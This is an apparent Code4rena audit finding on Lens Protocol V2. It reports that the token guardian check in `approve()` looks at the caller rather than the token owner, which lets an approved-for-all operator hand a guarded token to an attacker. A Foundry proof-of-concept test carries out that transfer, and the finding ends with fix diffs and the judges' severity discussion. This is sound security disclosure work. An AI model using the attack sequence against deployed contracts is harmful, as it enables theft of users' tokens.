Platform: Code4rena
Start Date: 17/07/2023
Pot Size: $85,500 USDC
Total HM: 11
Participants: 26
Period: 14 days
Judge: Picodes
Total Solo HM: 1
Id: 263
League: ETH
Rank: 7/26
Findings: 1
Award: $2,660.60
π Selected for report: 0
π Solo Findings: 0
2660.5978 USDC - $2,660.60
https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/namespaces/LensHandles.sol#L141 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/base/LensProfiles.sol#L114
From Lens v2 docs:
- Token Guardian: Protection mechanism for the tokens held by an address, which restricts transfers and approvals when enabled. - TokenGuardian pattern introduced on both Profiles and Handles to supply additional protection of social assets
In the LensHandles
contract, a TOKEN GUARDIAN mechanism is used to control approvals and transfers of tokens. However, there is an oversight in the approve(address to, uint256 tokenId)
function, where it allows an operator who was previously approved for all tokens (via setApprovalForAll
) to continue approving tokens even when the TOKEN GUARDIAN is enabled for any specific tokenId
owned by the owner. This can lead to a situation where an unauthorized operator gains control over the owner's tokens without requiring any further approval from the token owner.
approve
.In this scenario, the combination of improper handling of approvals with the TOKEN GUARDIAN feature exposes the owner to significant security risks. It is crucial for Lens Protocol V2 and owners of LensHandle tokens to address this issue promptly to ensure the protection of assets and maintain a robust security posture.
add this case to test/namespaces/LensHandlesTest.t.sol
, and execute the test via forge test --mt testApproveHandle_WhileTokenOwnerGuardianEnabled
.
function testApproveHandle_WhileTokenOwnerGuardianEnabled(address owner, address operator, address attacker) public { vm.assume(owner != address(0)); vm.assume(owner.code.length == 0); // isEOA() vm.assume(operator != address(0)); vm.assume(operator.code.length == 0); // isEOA() vm.assume(attacker != address(0)); vm.assume(!_isLensHubProxyAdmin(owner)); string memory handle = 'pk'; // mint vm.prank(lensHandles.OWNER()); uint256 handleId = lensHandles.mintHandle(owner, handle); assertTrue(lensHandles.exists(handleId)); assertEq(lensHandles.ownerOf(handleId), address(owner)); _effectivelyDisableGuardian(address(lensHandles), owner); // Approve operator for all vm.prank(owner); lensHandles.setApprovalForAll(operator, true); assertTrue(lensHandles.isApprovedForAll(owner, operator)); // Enable guardian vm.prank(owner); lensHandles.enableTokenGuardian(); // owner can not approve token while his tokens guardian enabled! vm.prank(owner); vm.expectRevert(HandlesErrors.GuardianEnabled.selector); lensHandles.approve(operator, handleId); // disable operator tokens guardian _effectivelyDisableGuardian(address(lensHandles), operator); // operator approve owner token to attacker while owner tokens guardian enabled! vm.prank(operator); lensHandles.approve(attacker, handleId); assertEq(lensHandles.getApproved(handleId), attacker); // owner stop operator approval for all, then he disable guardian vm.prank(owner); lensHandles.setApprovalForAll(operator, false); assertFalse(lensHandles.isApprovedForAll(owner, operator)); _effectivelyDisableGuardian(address(lensHandles), owner); // attacker transfer owner token to his address vm.prank(attacker); lensHandles.transferFrom(owner, attacker, handleId); assertEq(lensHandles.ownerOf(handleId), attacker); }
Manual Analysis, Foundry
To mitigate this risk, it is essential to update the approve
function in the LensHandles contract. The function should consider the tokenId
being approved, ensuring that the operator's actions align with the current TOKEN GUARDIAN status for the specific tokenId's owner, not the operator.
diff --git a/contracts/namespaces/LensHandles.sol b/contracts/namespaces/LensHandles.sol index a1b58f7..2033654 100644 --- a/contracts/namespaces/LensHandles.sol +++ b/contracts/namespaces/LensHandles.sol @@ -138,7 +138,7 @@ contract LensHandles is ERC721, ImmutableOwnable, ILensHandles { function approve(address to, uint256 tokenId) public override(IERC721, ERC721) { // We allow removing approvals even if the wallet has the token guardian enabled - if (to != address(0) && _hasTokenGuardianEnabled(msg.sender)) { + if (to != address(0) && _hasTokenGuardianEnabled(ownerOf(tokenId))) { revert HandlesErrors.GuardianEnabled(); } super.approve(to, tokenId);
Applying the same mitigation as suggested for LensHandles
to the LensProfiles
contract is a prudent step to ensure consistent protection of assets and maintain a robust security posture across the Lens Protocol V2.
Here's the recommended mitigation for LensProfiles
:
diff --git a/contracts/base/LensProfiles.sol b/contracts/base/LensProfiles.sol index 04fc1c8..9ed0573 100644 --- a/contracts/base/LensProfiles.sol +++ b/contracts/base/LensProfiles.sol @@ -111,7 +111,7 @@ abstract contract LensProfiles is LensBaseERC721, ERC2981CollectionRoyalties, IL function approve(address to, uint256 tokenId) public override(LensBaseERC721, IERC721) { // We allow removing approvals even if the wallet has the token guardian enabled - if (to != address(0) && _hasTokenGuardianEnabled(msg.sender)) { + if (to != address(0) && _hasTokenGuardianEnabled(ownerOf(tokenId))) { revert Errors.GuardianEnabled(); } super.approve(to, tokenId);
Invalid Validation
#0 - c4-pre-sort
2023-08-03T15:55:17Z
141345 marked the issue as primary issue
#1 - 141345
2023-08-04T12:16:28Z
maybe medium is more appropriate
#2 - c4-sponsor
2023-08-07T12:02:32Z
donosonaumczuk marked the issue as disagree with severity
#3 - donosonaumczuk
2023-08-07T12:05:42Z
This should be Medium as assets cannot be stolen directly, but it requires a hypothetical attack path with stated assumptions.
Note that the transferFrom function is not compromised itself, thus the victim could revoke the approval of the operator and the approvals from the assets before disabling the token guardian, and be safe.
#4 - c4-judge
2023-08-28T17:41:55Z
Picodes changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-08-28T17:47:14Z
Picodes marked the issue as satisfactory
#6 - c4-judge
2023-08-28T17:47:17Z
Picodes marked issue #136 as primary and marked this issue as a duplicate of 136